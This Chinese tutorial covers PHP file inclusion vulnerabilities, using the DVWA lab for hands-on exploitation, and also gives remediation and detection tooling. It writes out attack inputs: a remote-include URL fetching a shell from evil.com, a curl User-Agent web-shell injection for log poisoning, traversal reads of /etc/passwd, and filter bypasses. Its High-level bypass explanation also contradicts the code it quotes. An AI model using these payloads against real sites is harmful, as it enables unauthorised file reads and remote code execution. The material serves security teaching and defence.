☰
PHP文件包含漏洞原理与DVWA实战防护
2026/11/2 5:47:47 网站建设 项目流程

1. 文件包含漏洞的本质与危害

文件包含漏洞(File Inclusion Vulnerability)是Web安全领域中一种常见的高危漏洞类型,尤其在PHP语言开发的系统中更为普遍。它的核心成因在于程序在引入外部文件时,未对用户可控的文件路径参数进行充分校验,导致攻击者能够通过构造恶意参数读取或执行非预期的系统文件。

1.1 漏洞产生原理

当开发者使用PHP的include、require、include_once、require_once等函数时,如果被包含的文件路径全部或部分来自用户输入(如$_GET、$_POST等),且未做严格过滤,就可能出现文件包含漏洞。例如:

<?php $page = $_GET['page']; include($page . '.php'); ?>

攻击者通过构造?page=../../../etc/passwd%00这样的参数(在PHP<5.3.4时可以利用%00截断),就能读取服务器上的敏感文件。这种攻击方式称为本地文件包含(Local File Inclusion, LFI)。

更危险的情况是远程文件包含(Remote File Inclusion, RFI),当allow_url_include配置开启时,攻击者可以直接包含远程服务器上的恶意脚本:

http://vuln-site.com/?page=http://evil.com/shell.txt

1.2 实际危害场景

文件包含漏洞可能造成以下严重后果:

  • 敏感信息泄露(如/etc/passwd、数据库配置文件)
  • 服务器端脚本执行(通过包含日志文件、上传临时文件等)
  • 远程代码执行(RFI情况下直接包含恶意脚本)
  • 配合文件上传漏洞实现webshell植入

提示:PHP 5.3.4之后官方修复了%00截断问题,但开发者仍需注意路径遍历(../)和协议封装(php://、phar://等)带来的风险。

2. DVWA靶场环境搭建

DVWA(Damn Vulnerable Web Application)是一个专门用于安全测试的PHP/MySQL Web应用,包含文件包含在内的多种漏洞场景。下面介绍两种主流搭建方式。

2.1 使用Docker快速部署

对于想快速上手的用户,推荐使用Docker方式:

# 拉取官方镜像 docker pull vulnerables/web-dvwa # 运行容器(映射到本地8080端口) docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa

启动后访问http://localhost:8080,默认登录凭证:

  • 用户名:admin
  • 密码:password

2.2 手动安装(适合学习完整过程)

  1. 准备LAMP环境:

    • Linux系统或Windows WSL
    • Apache (sudo apt install apache2)
    • MySQL (sudo apt install mysql-server)
    • PHP 7.x (sudo apt install php libapache2-mod-php php-mysql)
  2. 下载并配置DVWA:

wget https://github.com/digininja/DVWA/archive/master.zip unzip master.zip sudo mv DVWA-master /var/www/html/dvwa cd /var/www/html/dvwa cp config/config.inc.php.dist config/config.inc.php
  1. 修改配置文件:
// config/config.inc.php $_DVWA = array( 'db_server' => '127.0.0.1', 'db_database' => 'dvwa', 'db_user' => 'dvwa', 'db_password' => 'p@ssw0rd', 'db_port' => '3306', );
  1. 初始化数据库:
mysql -u root -p CREATE DATABASE dvwa; CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'p@ssw0rd'; GRANT ALL ON dvwa.* TO 'dvwa'@'localhost'; FLUSH PRIVILEGES; exit

访问http://localhost/dvwa/setup.php完成安装,点击"Create/Reset Database"按钮。

3. DVWA文件包含漏洞实战

将DVWA安全级别设置为"Low"(安全级别影响防护强度),进入"File Inclusion"模块。

3.1 基础漏洞利用

页面默认包含include.php文件,观察URL参数:

http://localhost/dvwa/vulnerabilities/fi/?page=file1.php

尝试修改参数:

  1. 读取服务器文件:

    ?page=../../../../etc/passwd

    成功显示系统用户信息即证明漏洞存在。

  2. 结合PHP伪协议:

    ?page=php://filter/convert.base64-encode/resource=index.php

    获取页面源码的base64编码,解码后可得完整源代码。

3.2 进阶利用技巧

日志文件包含攻击
  1. 确认Apache日志路径(通常为/var/log/apache2/access.log)
  2. 通过User-Agent注入PHP代码:
    curl -A "<?php system($_GET['cmd']);?>" http://target.com/
  3. 包含日志文件执行命令:
    ?page=../../../../var/log/apache2/access.log&cmd=id
PHP Session文件包含
  1. 获取PHPSESSID(通过Cookie或phpinfo)
  2. 猜测session文件路径(如/tmp/sess_[id])
  3. 向session中注入代码后包含:
    ?page=../../../../tmp/sess_abc123def456

3.3 不同安全级别的绕过

Medium级别防护

查看源码发现过滤了../和http:

$file = str_replace(array("../", "..\""), "", $file);

绕过方法:

  • 双写绕过:..././→ 替换后变为../
  • 绝对路径:直接使用/var/www/html/dvwa/hackable/uploads/shell.php
High级别防护

要求文件名必须以file开头:

if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { echo "ERROR: File not found!"; exit; }

绕过方法:

  • 利用文件协议和目录穿越:
    ?page=file:///var/www/html/dvwa/config/config.inc.php

4. 漏洞修复方案

4.1 开发层面的防护

  1. 白名单校验(推荐):
$allowed = ['file1.php', 'file2.php', 'file3.php']; if(!in_array($file, $allowed)) { die('非法访问!'); }
  1. 硬编码文件路径:
$pages = [ 'home' => 'files/home.php', 'about' => 'files/about.php' ]; include($pages[$_GET['page']]);
  1. 禁用危险函数:
; php.ini allow_url_fopen = Off allow_url_include = Off

4.2 系统层面的加固

  1. 配置open_basedir限制访问范围:
open_basedir = /var/www/html/
  1. 设置文件权限:
# 关键目录不可写 chmod -R 755 /var/www/html/ chown -R www-data:www-data /var/www/html/
  1. 定期更新PHP版本,修复已知漏洞。

5. 自动化漏洞检测实践

5.1 使用Burp Suite扫描

  1. 配置代理后拦截文件包含请求
  2. 发送到Intruder模块
  3. 设置payload为常见敏感路径:
    ../../../../etc/passwd ../../../../windows/win.ini php://filter/convert.base64-encode/resource=index.php

5.2 编写Python检测脚本

import requests target = "http://localhost/dvwa/vulnerabilities/fi/" cookies = {"security": "low", "PHPSESSID": "your_session_id"} payloads = [ "../../../../etc/passwd", "php://filter/convert.base64-encode/resource=index.php", "/proc/self/environ" ] for payload in payloads: r = requests.get(target, params={"page": payload}, cookies=cookies) if "root:" in r.text or "PD9waHA" in r.text: print(f"[+] Vulnerable to {payload}")

5.3 使用Yakit工具

  1. 安装Yakit(https://github.com/yaklang/yakit)
  2. 创建新项目 → Web漏洞扫描
  3. 输入目标URL并选择"文件包含"检测模块
  4. 查看扫描报告中的风险项

我在实际渗透测试中发现,很多开发团队会修复常规的文件包含但忽略PHP伪协议的风险。特别是在处理文件上传功能时,phar://协议往往能绕过常规的文件类型检查。建议在代码审计时特别注意所有文件操作函数的使用场景。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询